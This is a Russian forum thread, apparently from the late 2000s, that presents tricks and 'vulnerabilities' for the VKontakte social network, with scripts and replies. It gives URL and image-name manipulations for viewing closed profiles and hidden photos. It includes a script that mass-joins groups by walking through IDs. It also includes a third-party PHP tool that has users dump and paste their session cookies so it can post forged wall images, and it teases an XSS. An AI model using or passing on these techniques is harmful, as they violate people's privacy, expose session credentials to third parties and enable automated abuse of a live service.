[Обзор] Уязвимостей \ Багов вконтакте.ру Сайт: http://www.vkontakte.ru Разработчик: Павел Дуров ВКонтакте.ру - сетевой проект, который поможет Вам узнать больше о людях, которые Вас окружают,а также найти потерянных друзей и поддерживать с ними связь. Вы сможете делиться информацией, ограничивая круг лиц, которым она будет доступна. На данный момент является самым посещаемым ресурсам и имеет более 10 000 пользователей [Введение] В этой статье будет рассказано о хитростях, багах, и уязвимостях сервиса вконтакте.ру [Смотреть закрытые Профили \ Фото \ Видео] Смотреть информацию закрытого профиля(фотографии, видео, заметки и т.д.) следующим оброзом: 1) Нужно знать ID человека 2) Наведите курсор "Друзья xxx" и строке появится примерно следующиq текст: http://vkontakte.ru/friend.php?act=add&id=12345678 , где последние цифры как раз и есть ID Потом нужно вставить этот ID в строки: Фотографии: http://vkontakte.ru/photos.php?act=user&id=ID ( В нашем случае 12345678 ) Фотоальбомы: http://vkontakte.ru/photos.php?id=ID ( В нашем случае 12345678 ) Видеозаписи: http://vkontakte.ru/video.php?id=ID ( В нашем случае 12345678 ) Заметки: http://vkontakte.ru/notes.php?id=ID ( В нашем случае 12345678 ) В некоторых местах можно оставлять комментарии Но этот способ не всегда действует, так как информация может быть защищена настройками приватности (скрытые фотографии). Так что рассмотрим еще один способ: Возьмем возьмем фотографию Дурова с подругой ( http://vkontakte.ru/photos.php?act=show&id=13780_39723&uid=1 ), но как мы видем фотография скрыта, но мы можем взять ее "preview" ( http://cs01.vkontakte.ru/u13780/5273/m_1c6b8d221d.jpg ). смотрим в свойства рисунка и меняем букву “m” в имени рисунка на букву “х” без кавычек. теперь мы получаем ссылку и смотрим на фотографию Дурова ( http://cs01.vkontakte.ru/u13780/5273/x_1c6b8d221d.jpg ) [Улучшенный просмотр фотографий] http://citex.ru/vk/vkalbphoto.js Данный скрипт создаёт иконку над фотографиями при нажатие на которую открывается сама фотография, а не страница с комментариями! Для этого нужно дождаться полной загрузки страницы альбома [Загрузка Музыки \ Видео на компьютер] 1) Рассмотрим вариант с музыкой, ее можно загрузить с помощью программ и скриптов! Скрипты: Описание: Скрипт для GreaseMonkey или браузера Opera Добавляет около кнопок прослушивания музыки ссылку для скачивания и ссылку для быстрого поиска слов песни. Для работы нужен Firefox с установленным дополнением GreaseMonkey или Opera. Если вы используете Opera, то полученный файл надо будет сохранить в тот каталог, который выбран в “Tools > Preferences > Advanced > Content > JavaScript option > User JavaScript files” PHP: // ==UserScript== // @name vkontakte music download // @namespace http://vkontakte.net.ru // @description Music download for vkontakte.ru // @include http://vkontakte.ru/* // ==/UserScript== function addDownload(img) { var str=""; if (img.wrappedJSObject) { str=img.wrappedJSObject.onclick.toString(); } else { str=img.onclick.toString(); //opera workaround } var re=/operate\((\d+)[^0-9]+(\d+)[^0-9]+(\d+),[^0-9a-zA-Z]+([0-9a-zA-Z]+)/; var arr=re.exec(str); //operate(209145,1044,362847,'db5a6cba31',194); //http://cs1044.vkontakte.ru/u362847/audio/db5a6cba31.mp3 var td=img.parentNode; var addon=document.createElement("a"); var user=arr[3]; if (user<100000) { user=parseInt(user)+100000; user=(user.toString()).substr(1); } addon.setAttribute("href","http://cs"+arr[2]+".vkontakte.ru/u"+user+"/audio/"+arr[4]+".mp3"); addon.innerHTML="download"; td.appendChild(addon); } function addDownloads() { var imgs=document.getElementsByTagName("img"); for (var i=0;i<imgs.length;i++) { if (imgs[i].className=="playimg") { addDownload(imgs[i]); } } } function addLyric(span) { var title=span.innerHTML; if (span.getElementsByTagName("a").length>0) { title=span.getElementsByTagName("a")[0].innerHTML; } var parent=span.parentNode; var artb=parent.getElementsByTagName("b")[0]; var artist=artb.innerHTML; if (artb.getElementsByTagName("a").length>0) { artist=artb.getElementsByTagName("a")[0].innerHTML; } var newdiv=document.createElement("div"); var addon=document.createElement("a"); // addon.setAttribute("href","http://lyrc.com.ar/en/tema1en.php?artist="+artist+"&songname="+title); addon.setAttribute("href","http://www.lyricsplugin.com/wmplayer03/plugin/?artist="+encodeURIComponent(artist)+"&title="+encodeURIComponent(title)); addon.setAttribute("target","_blank"); addon.innerHTML="lyrics"; newdiv.appendChild(addon); newdiv.className="duration"; parent.parentNode.appendChild(newdiv); } function addLyrics() { var spans= document.getElementsByTagName("span"); re=/title\d+/; for (var i=0;i<spans.length;i++) { if (re.test(spans[i].id)) { addLyric(spans[i]); } } } addLyrics(); addDownloads(); Сохранить в vkontakte.music.js Грабер музыки с вконтакта: PHP: <html> <body> <center> <form action="graber.php" name="main" method="post"> <input type="text" name="link" size="80"> <input type="submit" value="Грабить!"> <form> <?php set_time_limit(0); //убираем ограничение времени выполнения скрипта if(@$_POST['link']!=""){ $link = $_POST['link']; //Указываем ссылку $toparse=""; preg_match("/^(http:\/\/)?([^\/]+)/i",$link,$host); //Отделяем доменное имя $req = "GET ".$link." HTTP/1.1\r\n"; //Формирование заголовка запроса $req .="Host: ".$host[2]."\r\n"; // $req .="Cookie: audio_vol=80;remixchk=5;remixemail=;remixmid=;remixpass=;#10\r\n"; //Передача кукис $req .="Connection: Close\r\n\r\n"; // $socket = fsockopen($host[2],80); //Открываем сокет на 80й порт серва fwrite($socket,$req); //Отправляем запрос while(!feof($socket)){ // $toparse.=fgets($socket,128); //Получаем тело страницы по 128 байт } // fclose($socket); //Затрываем сокет $mask_link =array('return operate(',');'); //Маска preg_match_all("/(".$mask_link[0].")(.*)(".$mask_link[1].")/i",$toparse,$parsed_links); //Выбираем ссылки foreach($parsed_links[3] as $link_str){ //Берем каждый елемент масива в переменную $link_str $pattern=array("(",")","'"); //Что заменяем $replace=array("","",""); //Чем заменяем $replaced=str_replace($pattern,$replace,$link_str); //Убираем скобки $link_mas=explode(",",$replaced); //Преобразуем строку где разделитель запятая в масив echo "<a href=\"http://cs".$link_mas[1].".vkontakte.ru/u".$link_mas[2]."/audio/".$link_mas[3].".mp3\">"; //Начало ссылки $mask_name=array($link_mas[0],'<\/span>'); //Маска поиска Имени preg_match_all("/(".$mask_name[0].")(.*)(".$mask_name[1].")/i",$toparse,$parsed_names); // Выбираем имена $pattern=array("\">","</b>","<span id=\"title$link_mas[0]"); //Что заменяем $replace=array("","",""); //Чем заменяем $replaced=str_replace($pattern,$replace,$parsed_names[2][0]); //Убираем мусор echo $replaced."</a><br>"; //Конец ссылки } } ?> </center> </body> </html> Еще один скрипт: PHP: javascript:function operate(konfuze,loves,you,all_,xP){you=you.toStrin g(10);while(you.length<5){you='0'+you;}document.getElementById('audio'+ko nfuze).innerHTML='<div><a href="http://cs'+loves+'.vkontakte.'+'ru/u'+you+'/audio/'+all_+'.mp3">Cкачать '+document.getElementById('performer'+konfuze).inn erHTML+' - '+document.getElementById('title'+konfuze).innerHT ML+'</a></div><br />';} 2) Рассмотрит вариант для скачивания видео, на данный момент самая актуальная программа это VKMusic - которая позволяет автоматизировать поиск аудиозаписей в контакте и скачивание их на ваш компьютер. Авторизации не требуется(Но для более удобного и быстрого скачивания рекомендуется). Скачать \ Download Так же имеются скрипты для скачивания видео: Для FireFox : http://www.mgupp.ru/2729/files?get=unplugvkontakte.xpi http://www.mgupp.ru/2729/files?get=vk.xpi Для Opera: http://www.mgupp.ru/2729/files?get=vk2u.js [Вступить во все группы данного пользователя] 1)Сам скрипт: PHP: <form id="param"> <table width="500" height="101" border="0"> <tr> <td width="112">with</td> <td width="378"><input name="minZn" type="text" value="1"></td> </tr> <tr> <td>to</td> <td><input name="maxZn" type="text" value="999999"></td> </tr> <tr> <td>adress</td> <td><input name="adress" type="text" value="http://vkontakte.ru/groups.php?act=enter&gid=" size="50"></td> </tr> <tr> <td> </td> <td><input name="button" type="button" onClick="GoHack()" value="Vkontakte must die!!(Go hack)"> <input name="button2" type="button" onClick="StopHack()" value="STOP"></td> </tr> </table> </form> <script language="javascript"> function StopHack() { hackwindow.close(); } function HackWindowNewlocation(start, end, current) { var time=4000; var domen=document.getElementById("param").adress.value; var url=""; start2=start; current2=current; end2=end; if(current2==start2){hackwindow=window.open("http://google.ru","hack");} if ((current2-1)==end2) {return ;} current2++; url=domen+current.toString(); window.hackwindow.location=url.toString(); setTimeout("HackWindowNewlocation(start2, end2, current2)",time); } function GoHack() { var start=document.getElementById("param").minZn.value; var end=document.getElementById("param").maxZn.value; var current=start; HackWindowNewlocation(start,end,current); } </script> 2) Его реализаци. можно посмотреть здесь: http://blog.folone.org.ua/MOCK=130
[Подмена граффити на рисунок на стенах пользователей] 1)Скрипт Его реализация: http://www.x3k.ru/vkontakte/ Исходник: PHP: <? function send_png($url,$filename,$cookie) { $url_info=parse_url($url); $port = isset($url_info['port']) ? $url_info['port'] : 80; $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30); if($fp) { $head = "POST ".@$url_info['path']."?".@$url_info['query']." HTTP/1.1\r\n"; if (!empty($url_info['port'])) { $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n"; } else { $head .= "Host: ".@$url_info['host']."\r\n"; } $head .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive\r\n"; $head .= "Cookie: $cookie\r\n"; $head .= "Referer: http://vkontakte.ru/swf/Graffiti.swf?12\r\n"; $head .= "Content-type: multipart/form-data; boundary=--OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST\r\n"; $head2 ="----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST Content-Disposition: form-data; name=\"Signature\"\r\n\r\n"; $head2 .=md5(substr(base64_encode(file_get_contents($file name)), 0, 1024)); $head2 .="\r\n"; $head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST Content-Disposition: form-data; name=\"Filedata\"; filename=\"graffiti.png\" Content-Type: image/png\r\n\r\n"; $head2 .= file_get_contents($filename); $head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST Content-Disposition: form-data; name=\"Upload\" Submit Query ----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST--"; $head .= "Content-length: ".strlen($head2)."\r\n"; $head .= "\r\n"; $head .= $head2; fputs($fp, $head); while(!feof($fp) or ($eoheader==true)) { if($header=fgets($fp, 1024)) { if ($header == "\r\n") { $eoheader = true; break; } else { $header = trim($header); } $format=0; if($format == 1) { $key = array_shift(explode(':',$header)); if($key == $header) { $headers[] = $header; } else { $headers[$key]=substr($header,strlen($key)+2); } unset($key); } else { $headers[] = $header; } } } return $headers; } else { return false; } } if(isset($_POST['to_id'],$_POST['group_id'],$_POST['cook'],$_FILES["Filedata"])){ if($_POST['to_id']==""){ $_POST['to_id']='0'; } if($_POST['group_id']==""){ $_POST['group_id']='0'; } copy($_FILES['Filedata']['tmp_name'], "tmpfile_"); send_png("http://vkontakte.ru/graffiti.php?to_id={$_POST['to_id']}&group_id={$_POST['group_id']}","tmpfile_",$_POST['cook']); header("Location: http://vkontakte.ru/graffiti.php?act=last"); }else{ ?> <html> <head> <title>Подмена граффити на картинку vkontakte.ru</title> <meta http-equiv="content-type" content="text/html; charset=windows-1251" /> <style> body { margin: 0; padding: 0; } #form { background: url( 'http://vkontakte.ru/images/xhead2.gif' ) no-repeat left top; text-align: left; width: 400px; padding: 50px; padding-bottom: 10px; font-family: Verdana; font-size: 12px; border: 1px solid #ebebeb; } #counter { font-family: Arial; font-size: 12px; } #bandwidth { font-family: Arial; font-size: 11px; /*display: none;*/ } </style> </head> <center> <div id="form"> <br /> <form action="<?=basename($_SERVER['SCRIPT_FILENAME'])?>" name="form" enctype="multipart/form-data" method=POST > Укажи ID стены и .png/.jpg картинку, которую ты хочешь закачать:<br /><br /> ID человека: <input type="text" name="to_id" size="10" /> <b><u>или</u></b> ID группы: <input type="text" name="group_id" size="10" /><br /><br /> <b style="color: red">Теперь картинки автоматом растягиваются до размера 272х136 пикселей: <a href="http://mypictr.com/?size=272x136">сервис уменьшения картинок</a></b><br /><br /> Файл<small>*</small>: <input type="file" name="Filedata"><br /> <br /> <small>* - максимум <b>300Кб</b></small> <br /> <br /> <b style="color: red">ВНИМАНИЕ!!! Следующий ШАГ обязателен! </b><br /><br /> Заходим на страницу Контакта, в строке браузера вводим: <b><i>javascript:document.write(document.cookie);</i></b><br> <br>Скопируйте сюда, что получили<small>**</small>:<br> Эта информация нигде не записывается + в куках прячется IP зафированный<br> <textarea cols=47 rows=10 name="cook"></textarea><br><br> <small>** - это конфиденциальная информация. Вы не должны показывать её третьим лицам.</small> <br /> <br /> <input type="submit" name="Upload" value=" Далее "> </form> <br /> <p style="text-align: center;"> <b>Powered by:</b><Br> <a href="http://vkontakte.ru/id15070">Олег Максимов</a> </p> </div> <?php } echo "<pre>"; //print_r(send_png("http://vkontakte.ru/graffiti.php?to_id=[ИД_Человека или 0 если отправляем на стену группы]&group_id=[ИД_Группы или 0 если отправляем на стену человека]","имя картинки.png","ваши куки вытянутые из броузера")); echo "</pre>"; ?> 2) Программы Vkonpic Программа для загрузки картинок на стены друзей на сайте «ВКонтакте.ру». Распространяется бесплатно и с открытыми исходными кодами. http://rapidshare.com/files/102042311/VkontaktePicture_1__1_.2.rar.html [Прочие уязвимости] Чтобы выложить на стене чужую фотку: http://vkontakte.ru/wall.php? ... &message=[[photo11111_22222]] где 11111 ID юзера 22222 - ID его фотографии [Copyritez] Shawnix PS Завтра можеь выложу активную XSS
сорри, но а) где здесь уязвимости? б) где здесь баги? в) а не является ли сие повторением Isis'овских Tips and Tricks?
С фото все работает, можно альбомы просматривать, проверено. id Можно узнать при попытке добавить человека в друзья, там будет что-то вроде http://vkontakte.ru/friend.php?act=add&id=24377&h=d248ef42, где 24377 его id.
Чтобы пригласить всех своих друзей в группу 1. Скопируйте следующий текст: Code: javascript:function addall(){var butt_all='<b onclick=\'';var chtulhu=document.getElementsByTagName("input");for(var azatoth=0;azatoth<chtulhu.length;azatoth++){ if (chtulhu[azatoth].type=="checkbox"){ butt_all+='addToInvite('+chtulhu[azatoth].name+');'; }}butt_all+='\'>ДОБАВИТЬ ВСЕХ</b> '; j=0; var div_s=document.getElementsByTagName("div");for(var i=0;i<div_s.length;i++){ if (div_s[i].className=="pad"){ j++; if(j==2){ div_s[i].innerHTML=butt_all+div_s[i].innerHTML; }}} } addall(); 2. Нажмите на кнопку "пригласить в группу". 3. В адресной строке (где пишется адрес сайта) вместо того, что там было, вставьте целиком скопированный текст. 4. Нажмите "Еnter". 5. Нажмите на надпись "ДОБАВИТЬ ВСЕХ" (перед словами "Пригласите друзей"). 6. Нажмите внизу "выслать приглашения". И все Ваши друзья будут приглашены.
жалко что када вводишь сылку на видео пользователя, который поставил что видео могу смотреть только его друзья, то видео не скачивается((((((